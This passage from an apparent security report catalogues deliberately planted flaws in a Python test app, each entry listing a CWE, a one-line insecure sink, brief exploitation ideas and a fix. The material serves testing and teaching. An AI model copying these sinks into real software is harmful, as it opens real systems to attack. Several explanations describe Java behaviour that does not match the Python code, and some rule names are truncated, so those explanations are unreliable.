Exploitation variants.

- Send a zero divisor to throw `ArithmeticException` and crash the request/thread (DoS).

Remediation. Validate the divisor before dividing.

3.89 VULN-89: CWE-476: NULL Pointer Dereference

Location: src/vulnapp/concurrency_misc_vulns.py, line 76 **Rule:** python/null-pointer-dereference

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/476.html>

Planted sink:

```
return value.strip()
```

What it is. Null pointer dereference from unchecked null.

Exploitation variants.

- Provide input that yields null (missing param/lookup miss) to crash the thread (DoS).

Remediation. Null-check and use `Optional`; fail gracefully.

3.90 VULN-90: CWE-617: Reachable Assertion

Location: src/vulnapp/concurrency_misc_vulns.py, line 82 **Rule:** python/reachable-assertion

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/617.html>

Planted sink:

```
assert is_admin, "forbidden"
```

What it is. Reachable assertion: user input can trigger an assertion/abort.

Exploitation variants.

- Send input that fails an assert to crash the process/thread (DoS).

Remediation. Handle invalid input with normal error handling, not asserts, in production.

3.91 VULN-91: CWE-597: Use of Wrong Operator in String Comparison

Location: src/vulnapp/concurrency_misc_vulns.py, line 88 **Rule:** python/use-of-wrong-operator-in-

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/597.html>

Planted sink:

```
return token is expected
```

What it is. Wrong operator (`==` instead of `.equals`) for String/object comparison.

Exploitation variants.

- Comparison may fail/succeed based on reference identity, bypassing intended checks (e.g. token compare).

Remediation. Use `.equals()`/constant-time compare for value equality.

3.92 VULN-92: CWE-798: Use of Hard-coded Credentials

Location: `src/vulnapp/concurrency_misc_vulns.py`, line 93 **Rule:** `python/use-of-hard-coded-credentials`

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/798.html>

Planted sink:

```
return "postgres://***@10.0.0.5:5432/prod"
```

What it is. Hard-coded credentials (keys/tokens/passwords) in source.

Exploitation variants.

- Extract the secret from the repo/binary and use it directly.

Remediation. Externalize secrets to a vault/env; rotate leaked ones.

3.93 VULN-93: CWE-548: Information Exposure Through Directory Listing

Location: `src/vulnapp/concurrency_misc_vulns.py`, line 98 **Rule:** `python/information-exposure-through-directory-listing`

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/548.html>

Planted sink:

```
app.config["EXPLORER_ENABLE_DIRECTORY_LISTING"] = True
```

What it is. Directory listing exposes files that should be hidden.

Exploitation variants.

- Browse the listing to discover backups, sources, configs, and enumerate the app.

Remediation. Disable auto-indexing; return 404 for directories.

3.94 VULN-94: CWE-200: Exposure of Sensitive Information

Location: `src/vulnapp/concurrency_misc_vulns.py`, line 104 **Rule:** `python/information-exposure-through-response-headers`

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/200.html>

Planted sink:

```
resp.headers["Server"] = "Werkzeug/2.0.1 Python/3.9.2 app-build-1234"
```

What it is. Sensitive information is exposed to an unauthorized actor.

Exploitation variants.

- Read leaked data (paths, versions, internal IPs, PII) from responses/errors.
- Use disclosed details to plan a targeted follow-up attack.

Remediation. Return only what the client needs; suppress internal details in responses.

3.95 VULN-95: CWE-501: Trust Boundary Violation

Location: `src/vulnapp/concurrency_misc_vulns.py`, line 110 **Rule:** `python/trust-boundary-violation`

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/501.html>

Planted sink:

```
session["role"] = request.args.get("role")
```

What it is. Trust boundary violation: untrusted data placed into a trusted store (e.g. session) unvalidated.

Exploitation variants.

- Poison session/trusted context so later trusted reads act on attacker data.

Remediation. Validate before crossing into a trusted context.

3.96 VULN-96: CWE-345: Insufficient Verification of Data Authenticity

Location: src/vulnapp/concurrency_misc_vulns.py, line 116 **Rule:** python/insufficient-verification

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/345.html>

Planted sink:

```
return payload.decode()
```

What it is. Insufficient verification of data authenticity/integrity.

Exploitation variants.

- Tamper with data in transit/storage since integrity is not checked.
- Forge messages the app accepts as genuine.

Remediation. Verify signatures/MACs before trusting data.

3.97 VULN-97: CWE-681: Incorrect Numeric Conversion

Location: src/vulnapp/concurrency_misc_vulns.py, line 122 **Rule:** python/incorrect-numeric-conver

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/681.html>

Planted sink:

```
return int(amount)
```

What it is. Incorrect numeric conversion between types loses/changes value.

Exploitation variants.

- Provide values that overflow/truncate on cast to bypass a bounds check.

Remediation. Validate ranges before/after conversion; use appropriate types.

3.98 VULN-98: CWE-602: Client-Side Enforcement of Server-Side Security

Location: src/vulnapp/concurrency_misc_vulns.py, line 127 **Rule:** python/client-side-enforcement-

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/602.html>

Planted sink:

```
if request.headers.get("X-Is-Admin") == "true":
```

What it is. Server trusts client-side enforced security decisions.

Exploitation variants.

- Tamper with hidden fields/JS checks/prices in the request; server accepts them.

Remediation. Re-validate and authorize everything on the server.

3.99 VULN-99: CWE-478: Missing Default Case in Multiple Condition Expression

Location: src/vulnapp/concurrency_misc_vulns.py, line 135 **Rule:** python/missing-default-case

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/478.html>

Planted sink:

```
mapping = {"read": {"r"}, "write": {"r", "w"}}
```

What it is. Missing/mishandled default branch: a multi-way selection lacks a safe default, so unexpected inputs fall into an unintended (often over-permissive) branch.

Exploitation variants.

- Send a value not covered by the explicit cases to hit the permissive fallback (e.g. gain extra permissions).
- Combine with weak input validation to reach a privileged code path.

Remediation. Provide an explicit, deny-by-default branch; fail closed on unknown inputs.

3.100 VULN-100: CWE-598: Information Exposure Through Query Strings

Location: src/vulnapp/concurrency_misc_vulns.py, line 143 **Rule:** python/information-exposure-thr

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/598.html>

Planted sink:

```
logger.info("Request URL: /data?api_key=" + api_key)
```

What it is. Sensitive data sent in the URL query string.

Exploitation variants.

- Harvest secrets from browser history, referer headers, proxy/server logs.

Remediation. Send sensitive data in the body over TLS, not the URL.
